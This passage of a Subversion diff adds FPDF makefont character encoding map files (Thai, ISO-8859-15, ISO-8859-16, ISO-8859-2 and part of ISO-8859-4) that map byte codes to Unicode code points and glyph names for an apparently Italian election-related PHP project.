+!B0 U+0E10 thothanthai
+!B1 U+0E11 thonangmonthothai
+!B2 U+0E12 thophuthaothai
+!B3 U+0E13 nonenthai
+!B4 U+0E14 dodekthai
+!B5 U+0E15 totaothai
+!B6 U+0E16 thothungthai
+!B7 U+0E17 thothahanthai
+!B8 U+0E18 thothongthai
+!B9 U+0E19 nonuthai
+!BA U+0E1A bobaimaithai
+!BB U+0E1B poplathai
+!BC U+0E1C phophungthai
+!BD U+0E1D fofathai
+!BE U+0E1E phophanthai
+!BF U+0E1F fofanthai
+!C0 U+0E20 phosamphaothai
+!C1 U+0E21 momathai
+!C2 U+0E22 yoyakthai
+!C3 U+0E23 roruathai
+!C4 U+0E24 ruthai
+!C5 U+0E25 lolingthai
+!C6 U+0E26 luthai
+!C7 U+0E27 wowaenthai
+!C8 U+0E28 sosalathai
+!C9 U+0E29 sorusithai
+!CA U+0E2A sosuathai
+!CB U+0E2B hohipthai
+!CC U+0E2C lochulathai
+!CD U+0E2D oangthai
+!CE U+0E2E honokhukthai
+!CF U+0E2F paiyannoithai
+!D0 U+0E30 saraathai
+!D1 U+0E31 maihanakatthai
+!D2 U+0E32 saraaathai
+!D3 U+0E33 saraamthai
+!D4 U+0E34 saraithai
+!D5 U+0E35 saraiithai
+!D6 U+0E36 sarauethai
+!D7 U+0E37 saraueethai
+!D8 U+0E38 sarauthai
+!D9 U+0E39 sarauuthai
+!DA U+0E3A phinthuthai
+!DF U+0E3F bahtthai
+!E0 U+0E40 saraethai
+!E1 U+0E41 saraaethai
+!E2 U+0E42 saraothai
+!E3 U+0E43 saraaimaimuanthai
+!E4 U+0E44 saraaimaimalaithai
+!E5 U+0E45 lakkhangyaothai
+!E6 U+0E46 maiyamokthai
+!E7 U+0E47 maitaikhuthai
+!E8 U+0E48 maiekthai
+!E9 U+0E49 maithothai
+!EA U+0E4A maitrithai
+!EB U+0E4B maichattawathai
+!EC U+0E4C thanthakhatthai
+!ED U+0E4D nikhahitthai
+!EE U+0E4E yamakkanthai
+!EF U+0E4F fongmanthai
+!F0 U+0E50 zerothai
+!F1 U+0E51 onethai
+!F2 U+0E52 twothai
+!F3 U+0E53 threethai
+!F4 U+0E54 fourthai
+!F5 U+0E55 fivethai
+!F6 U+0E56 sixthai
+!F7 U+0E57 seventhai
+!F8 U+0E58 eightthai
+!F9 U+0E59 ninethai
+!FA U+0E5A angkhankhuthai
+!FB U+0E5B khomutthai
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-15.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-15.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-15.map	(revision 44)
@@ -0,0 +1,256 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+0080 .notdef
+!81 U+0081 .notdef
+!82 U+0082 .notdef
+!83 U+0083 .notdef
+!84 U+0084 .notdef
+!85 U+0085 .notdef
+!86 U+0086 .notdef
+!87 U+0087 .notdef
+!88 U+0088 .notdef
+!89 U+0089 .notdef
+!8A U+008A .notdef
+!8B U+008B .notdef
+!8C U+008C .notdef
+!8D U+008D .notdef
+!8E U+008E .notdef
+!8F U+008F .notdef
+!90 U+0090 .notdef
+!91 U+0091 .notdef
+!92 U+0092 .notdef
+!93 U+0093 .notdef
+!94 U+0094 .notdef
+!95 U+0095 .notdef
+!96 U+0096 .notdef
+!97 U+0097 .notdef
+!98 U+0098 .notdef
+!99 U+0099 .notdef
+!9A U+009A .notdef
+!9B U+009B .notdef
+!9C U+009C .notdef
+!9D U+009D .notdef
+!9E U+009E .notdef
+!9F U+009F .notdef
+!A0 U+00A0 space
+!A1 U+00A1 exclamdown
+!A2 U+00A2 cent
+!A3 U+00A3 sterling
+!A4 U+20AC Euro
+!A5 U+00A5 yen
+!A6 U+0160 Scaron
+!A7 U+00A7 section
+!A8 U+0161 scaron
+!A9 U+00A9 copyright
+!AA U+00AA ordfeminine
+!AB U+00AB guillemotleft
+!AC U+00AC logicalnot
+!AD U+00AD hyphen
+!AE U+00AE registered
+!AF U+00AF macron
+!B0 U+00B0 degree
+!B1 U+00B1 plusminus
+!B2 U+00B2 twosuperior
+!B3 U+00B3 threesuperior
+!B4 U+017D Zcaron
+!B5 U+00B5 mu
+!B6 U+00B6 paragraph
+!B7 U+00B7 periodcentered
+!B8 U+017E zcaron
+!B9 U+00B9 onesuperior
+!BA U+00BA ordmasculine
+!BB U+00BB guillemotright
+!BC U+0152 OE
+!BD U+0153 oe
+!BE U+0178 Ydieresis
+!BF U+00BF questiondown
+!C0 U+00C0 Agrave
+!C1 U+00C1 Aacute
+!C2 U+00C2 Acircumflex
+!C3 U+00C3 Atilde
+!C4 U+00C4 Adieresis
+!C5 U+00C5 Aring
+!C6 U+00C6 AE
+!C7 U+00C7 Ccedilla
+!C8 U+00C8 Egrave
+!C9 U+00C9 Eacute
+!CA U+00CA Ecircumflex
+!CB U+00CB Edieresis
+!CC U+00CC Igrave
+!CD U+00CD Iacute
+!CE U+00CE Icircumflex
+!CF U+00CF Idieresis
+!D0 U+00D0 Eth
+!D1 U+00D1 Ntilde
+!D2 U+00D2 Ograve
+!D3 U+00D3 Oacute
+!D4 U+00D4 Ocircumflex
+!D5 U+00D5 Otilde
+!D6 U+00D6 Odieresis
+!D7 U+00D7 multiply
+!D8 U+00D8 Oslash
+!D9 U+00D9 Ugrave
+!DA U+00DA Uacute
+!DB U+00DB Ucircumflex
+!DC U+00DC Udieresis
+!DD U+00DD Yacute
+!DE U+00DE Thorn
+!DF U+00DF germandbls
+!E0 U+00E0 agrave
+!E1 U+00E1 aacute
+!E2 U+00E2 acircumflex
+!E3 U+00E3 atilde
+!E4 U+00E4 adieresis
+!E5 U+00E5 aring
+!E6 U+00E6 ae
+!E7 U+00E7 ccedilla
+!E8 U+00E8 egrave
+!E9 U+00E9 eacute
+!EA U+00EA ecircumflex
+!EB U+00EB edieresis
+!EC U+00EC igrave
+!ED U+00ED iacute
+!EE U+00EE icircumflex
+!EF U+00EF idieresis
+!F0 U+00F0 eth
+!F1 U+00F1 ntilde
+!F2 U+00F2 ograve
+!F3 U+00F3 oacute
+!F4 U+00F4 ocircumflex
+!F5 U+00F5 otilde
+!F6 U+00F6 odieresis
+!F7 U+00F7 divide
+!F8 U+00F8 oslash
+!F9 U+00F9 ugrave
+!FA U+00FA uacute
+!FB U+00FB ucircumflex
+!FC U+00FC udieresis
+!FD U+00FD yacute
+!FE U+00FE thorn
+!FF U+00FF ydieresis
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-16.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-16.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-16.map	(revision 44)
@@ -0,0 +1,256 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+0080 .notdef
+!81 U+0081 .notdef
+!82 U+0082 .notdef
+!83 U+0083 .notdef
+!84 U+0084 .notdef
+!85 U+0085 .notdef
+!86 U+0086 .notdef
+!87 U+0087 .notdef
+!88 U+0088 .notdef
+!89 U+0089 .notdef
+!8A U+008A .notdef
+!8B U+008B .notdef
+!8C U+008C .notdef
+!8D U+008D .notdef
+!8E U+008E .notdef
+!8F U+008F .notdef
+!90 U+0090 .notdef
+!91 U+0091 .notdef
+!92 U+0092 .notdef
+!93 U+0093 .notdef
+!94 U+0094 .notdef
+!95 U+0095 .notdef
+!96 U+0096 .notdef
+!97 U+0097 .notdef
+!98 U+0098 .notdef
+!99 U+0099 .notdef
+!9A U+009A .notdef
+!9B U+009B .notdef
+!9C U+009C .notdef
+!9D U+009D .notdef
+!9E U+009E .notdef
+!9F U+009F .notdef
+!A0 U+00A0 space
+!A1 U+0104 Aogonek
+!A2 U+0105 aogonek
+!A3 U+0141 Lslash
+!A4 U+20AC Euro
+!A5 U+201E quotedblbase
+!A6 U+0160 Scaron
+!A7 U+00A7 section
+!A8 U+0161 scaron
+!A9 U+00A9 copyright
+!AA U+0218 Scommaaccent
+!AB U+00AB guillemotleft
+!AC U+0179 Zacute
+!AD U+00AD hyphen
+!AE U+017A zacute
+!AF U+017B Zdotaccent
+!B0 U+00B0 degree
+!B1 U+00B1 plusminus
+!B2 U+010C Ccaron
+!B3 U+0142 lslash
+!B4 U+017D Zcaron
+!B5 U+201D quotedblright
+!B6 U+00B6 paragraph
+!B7 U+00B7 periodcentered
+!B8 U+017E zcaron
+!B9 U+010D ccaron
+!BA U+0219 scommaaccent
+!BB U+00BB guillemotright
+!BC U+0152 OE
+!BD U+0153 oe
+!BE U+0178 Ydieresis
+!BF U+017C zdotaccent
+!C0 U+00C0 Agrave
+!C1 U+00C1 Aacute
+!C2 U+00C2 Acircumflex
+!C3 U+0102 Abreve
+!C4 U+00C4 Adieresis
+!C5 U+0106 Cacute
+!C6 U+00C6 AE
+!C7 U+00C7 Ccedilla
+!C8 U+00C8 Egrave
+!C9 U+00C9 Eacute
+!CA U+00CA Ecircumflex
+!CB U+00CB Edieresis
+!CC U+00CC Igrave
+!CD U+00CD Iacute
+!CE U+00CE Icircumflex
+!CF U+00CF Idieresis
+!D0 U+0110 Dcroat
+!D1 U+0143 Nacute
+!D2 U+00D2 Ograve
+!D3 U+00D3 Oacute
+!D4 U+00D4 Ocircumflex
+!D5 U+0150 Ohungarumlaut
+!D6 U+00D6 Odieresis
+!D7 U+015A Sacute
+!D8 U+0170 Uhungarumlaut
+!D9 U+00D9 Ugrave
+!DA U+00DA Uacute
+!DB U+00DB Ucircumflex
+!DC U+00DC Udieresis
+!DD U+0118 Eogonek
+!DE U+021A Tcommaaccent
+!DF U+00DF germandbls
+!E0 U+00E0 agrave
+!E1 U+00E1 aacute
+!E2 U+00E2 acircumflex
+!E3 U+0103 abreve
+!E4 U+00E4 adieresis
+!E5 U+0107 cacute
+!E6 U+00E6 ae
+!E7 U+00E7 ccedilla
+!E8 U+00E8 egrave
+!E9 U+00E9 eacute
+!EA U+00EA ecircumflex
+!EB U+00EB edieresis
+!EC U+00EC igrave
+!ED U+00ED iacute
+!EE U+00EE icircumflex
+!EF U+00EF idieresis
+!F0 U+0111 dcroat
+!F1 U+0144 nacute
+!F2 U+00F2 ograve
+!F3 U+00F3 oacute
+!F4 U+00F4 ocircumflex
+!F5 U+0151 ohungarumlaut
+!F6 U+00F6 odieresis
+!F7 U+015B sacute
+!F8 U+0171 uhungarumlaut
+!F9 U+00F9 ugrave
+!FA U+00FA uacute
+!FB U+00FB ucircumflex
+!FC U+00FC udieresis
+!FD U+0119 eogonek
+!FE U+021B tcommaaccent
+!FF U+00FF ydieresis
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-2.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-2.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-2.map	(revision 44)
@@ -0,0 +1,256 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+0080 .notdef
+!81 U+0081 .notdef
+!82 U+0082 .notdef
+!83 U+0083 .notdef
+!84 U+0084 .notdef
+!85 U+0085 .notdef
+!86 U+0086 .notdef
+!87 U+0087 .notdef
+!88 U+0088 .notdef
+!89 U+0089 .notdef
+!8A U+008A .notdef
+!8B U+008B .notdef
+!8C U+008C .notdef
+!8D U+008D .notdef
+!8E U+008E .notdef
+!8F U+008F .notdef
+!90 U+0090 .notdef
+!91 U+0091 .notdef
+!92 U+0092 .notdef
+!93 U+0093 .notdef
+!94 U+0094 .notdef
+!95 U+0095 .notdef
+!96 U+0096 .notdef
+!97 U+0097 .notdef
+!98 U+0098 .notdef
+!99 U+0099 .notdef
+!9A U+009A .notdef
+!9B U+009B .notdef
+!9C U+009C .notdef
+!9D U+009D .notdef
+!9E U+009E .notdef
+!9F U+009F .notdef
+!A0 U+00A0 space
+!A1 U+0104 Aogonek
+!A2 U+02D8 breve
+!A3 U+0141 Lslash
+!A4 U+00A4 currency
+!A5 U+013D Lcaron
+!A6 U+015A Sacute
+!A7 U+00A7 section
+!A8 U+00A8 dieresis
+!A9 U+0160 Scaron
+!AA U+015E Scedilla
+!AB U+0164 Tcaron
+!AC U+0179 Zacute
+!AD U+00AD hyphen
+!AE U+017D Zcaron
+!AF U+017B Zdotaccent
+!B0 U+00B0 degree
+!B1 U+0105 aogonek
+!B2 U+02DB ogonek
+!B3 U+0142 lslash
+!B4 U+00B4 acute
+!B5 U+013E lcaron
+!B6 U+015B sacute
+!B7 U+02C7 caron
+!B8 U+00B8 cedilla
+!B9 U+0161 scaron
+!BA U+015F scedilla
+!BB U+0165 tcaron
+!BC U+017A zacute
+!BD U+02DD hungarumlaut
+!BE U+017E zcaron
+!BF U+017C zdotaccent
+!C0 U+0154 Racute
+!C1 U+00C1 Aacute
+!C2 U+00C2 Acircumflex
+!C3 U+0102 Abreve
+!C4 U+00C4 Adieresis
+!C5 U+0139 Lacute
+!C6 U+0106 Cacute
+!C7 U+00C7 Ccedilla
+!C8 U+010C Ccaron
+!C9 U+00C9 Eacute
+!CA U+0118 Eogonek
+!CB U+00CB Edieresis
+!CC U+011A Ecaron
+!CD U+00CD Iacute
+!CE U+00CE Icircumflex
+!CF U+010E Dcaron
+!D0 U+0110 Dcroat
+!D1 U+0143 Nacute
+!D2 U+0147 Ncaron
+!D3 U+00D3 Oacute
+!D4 U+00D4 Ocircumflex
+!D5 U+0150 Ohungarumlaut
+!D6 U+00D6 Odieresis
+!D7 U+00D7 multiply
+!D8 U+0158 Rcaron
+!D9 U+016E Uring
+!DA U+00DA Uacute
+!DB U+0170 Uhungarumlaut
+!DC U+00DC Udieresis
+!DD U+00DD Yacute
+!DE U+0162 Tcommaaccent
+!DF U+00DF germandbls
+!E0 U+0155 racute
+!E1 U+00E1 aacute
+!E2 U+00E2 acircumflex
+!E3 U+0103 abreve
+!E4 U+00E4 adieresis
+!E5 U+013A lacute
+!E6 U+0107 cacute
+!E7 U+00E7 ccedilla
+!E8 U+010D ccaron
+!E9 U+00E9 eacute
+!EA U+0119 eogonek
+!EB U+00EB edieresis
+!EC U+011B ecaron
+!ED U+00ED iacute
+!EE U+00EE icircumflex
+!EF U+010F dcaron
+!F0 U+0111 dcroat
+!F1 U+0144 nacute
+!F2 U+0148 ncaron
+!F3 U+00F3 oacute
+!F4 U+00F4 ocircumflex
+!F5 U+0151 ohungarumlaut
+!F6 U+00F6 odieresis
+!F7 U+00F7 divide
+!F8 U+0159 rcaron
+!F9 U+016F uring
+!FA U+00FA uacute
+!FB U+0171 uhungarumlaut
+!FC U+00FC udieresis
+!FD U+00FD yacute
+!FE U+0163 tcommaaccent
+!FF U+02D9 dotaccent
Index: /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-4.map
===================================================================
--- /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-4.map	(revision 44)
+++ /trunk/elezioni/trunk/client/inc/hpdf/_fpdf/font/makefont/iso-8859-4.map	(revision 44)
@@ -0,0 +1,256 @@
+!00 U+0000 .notdef
+!01 U+0001 .notdef
+!02 U+0002 .notdef
+!03 U+0003 .notdef
+!04 U+0004 .notdef
+!05 U+0005 .notdef
+!06 U+0006 .notdef
+!07 U+0007 .notdef
+!08 U+0008 .notdef
+!09 U+0009 .notdef
+!0A U+000A .notdef
+!0B U+000B .notdef
+!0C U+000C .notdef
+!0D U+000D .notdef
+!0E U+000E .notdef
+!0F U+000F .notdef
+!10 U+0010 .notdef
+!11 U+0011 .notdef
+!12 U+0012 .notdef
+!13 U+0013 .notdef
+!14 U+0014 .notdef
+!15 U+0015 .notdef
+!16 U+0016 .notdef
+!17 U+0017 .notdef
+!18 U+0018 .notdef
+!19 U+0019 .notdef
+!1A U+001A .notdef
+!1B U+001B .notdef
+!1C U+001C .notdef
+!1D U+001D .notdef
+!1E U+001E .notdef
+!1F U+001F .notdef
+!20 U+0020 space
+!21 U+0021 exclam
+!22 U+0022 quotedbl
+!23 U+0023 numbersign
+!24 U+0024 dollar
+!25 U+0025 percent
+!26 U+0026 ampersand
+!27 U+0027 quotesingle
+!28 U+0028 parenleft
+!29 U+0029 parenright
+!2A U+002A asterisk
+!2B U+002B plus
+!2C U+002C comma
+!2D U+002D hyphen
+!2E U+002E period
+!2F U+002F slash
+!30 U+0030 zero
+!31 U+0031 one
+!32 U+0032 two
+!33 U+0033 three
+!34 U+0034 four
+!35 U+0035 five
+!36 U+0036 six
+!37 U+0037 seven
+!38 U+0038 eight
+!39 U+0039 nine
+!3A U+003A colon
+!3B U+003B semicolon
+!3C U+003C less
+!3D U+003D equal
+!3E U+003E greater
+!3F U+003F question
+!40 U+0040 at
+!41 U+0041 A
+!42 U+0042 B
+!43 U+0043 C
+!44 U+0044 D
+!45 U+0045 E
+!46 U+0046 F
+!47 U+0047 G
+!48 U+0048 H
+!49 U+0049 I
+!4A U+004A J
+!4B U+004B K
+!4C U+004C L
+!4D U+004D M
+!4E U+004E N
+!4F U+004F O
+!50 U+0050 P
+!51 U+0051 Q
+!52 U+0052 R
+!53 U+0053 S
+!54 U+0054 T
+!55 U+0055 U
+!56 U+0056 V
+!57 U+0057 W
+!58 U+0058 X
+!59 U+0059 Y
+!5A U+005A Z
+!5B U+005B bracketleft
+!5C U+005C backslash
+!5D U+005D bracketright
+!5E U+005E asciicircum
+!5F U+005F underscore
+!60 U+0060 grave
+!61 U+0061 a
+!62 U+0062 b
+!63 U+0063 c
+!64 U+0064 d
+!65 U+0065 e
+!66 U+0066 f
+!67 U+0067 g
+!68 U+0068 h
+!69 U+0069 i
+!6A U+006A j
+!6B U+006B k
+!6C U+006C l
+!6D U+006D m
+!6E U+006E n
+!6F U+006F o
+!70 U+0070 p
+!71 U+0071 q
+!72 U+0072 r
+!73 U+0073 s
+!74 U+0074 t
+!75 U+0075 u
+!76 U+0076 v
+!77 U+0077 w
+!78 U+0078 x
+!79 U+0079 y
+!7A U+007A z
+!7B U+007B braceleft
+!7C U+007C bar
+!7D U+007D braceright
+!7E U+007E asciitilde
+!7F U+007F .notdef
+!80 U+0080 .notdef
+!81 U+0081 .notdef
+!82 U+0082 .notdef
+!83 U+0083 .notdef
+!84 U+0084 .notdef
+!85 U+0085 .notdef
+!86 U+0086 .notdef
+!87 U+0087 .notdef
+!88 U+0088 .notdef
+!89 U+0089 .notdef
+!8A U+008A .notdef
+!8B U+008B .notdef
+!8C U+008C .notdef
+!8D U+008D .notdef
+!8E U+008E .notdef
+!8F U+008F .notdef
+!90 U+0090 .notdef
+!91 U+0091 .notdef
+!92 U+0092 .notdef
+!93 U+0093 .notdef
+!94 U+0094 .notdef
+!95 U+0095 .notdef
+!96 U+0096 .notdef
+!97 U+0097 .notdef
+!98 U+0098 .notdef
+!99 U+0099 .notdef
+!9A U+009A .notdef
+!9B U+009B .notdef
+!9C U+009C .notdef
+!9D U+009D .notdef
+!9E U+009E .notdef
+!9F U+009F .notdef
+!A0 U+00A0 space
+!A1 U+0104 Aogonek
+!A2 U+0138 kgreenlandic
+!A3 U+0156 Rcommaaccent
+!A4 U+00A4 currency
+!A5 U+0128 Itilde
+!A6 U+013B Lcommaaccent
+!A7 U+00A7 section
+!A8 U+00A8 dieresis
+!A9 U+0160 Scaron
+!AA U+0112 Emacron
+!AB U+0122 Gcommaaccent
+!AC U+0166 Tbar
+!AD U+00AD hyphen
+!AE U+017D Zcaron
+!AF U+00AF macron
+!B0 U+00B0 degree
+!B1 U+0105 aogonek
+!B2 U+02DB ogonek
+!B3 U+0157 rcommaaccent
+!B4 U+00B4 acute
+!B5 U+0129 itilde
+!B6 U+013C lcommaaccent
+!B7 U+02C7 caron
+!B8 U+00B8 cedilla
+!B9 U+0161 scaron
+!BA U+0113 emacron
+!BB U+0123 gcommaaccent
+!BC U+0167 tbar
+!BD U+014A Eng
+!BE U+017E zcaron
+!BF U+014B eng
+!C0 U+0100 Amacron
+!C1 U+00C1 Aacute
+!C2 U+00C2 Acircumflex
+!C3 U+00C3 Atilde
+!C4 U+00C4 Adieresis
+!C5 U+00C5 Aring
+!C6 U+00C6 AE
+!C7 U+012E Iogonek
+!C8 U+010C Ccaron
+!C9 U+00C9 Eacute
+!CA U+0118 Eogonek
+!CB U+00CB Edieresis
+!CC U+0116 Edotaccent
+!CD U+00CD Iacute
+!CE U+00CE Icircumflex
+!CF U+012A Imacron
+!D0 U+0110 Dcroat
+!D1 U+0145 Ncommaaccent
+!D2 U+014C Omacron
+!D3 U+0136 Kcommaaccent
+!D4 U+00D4 Ocircumflex
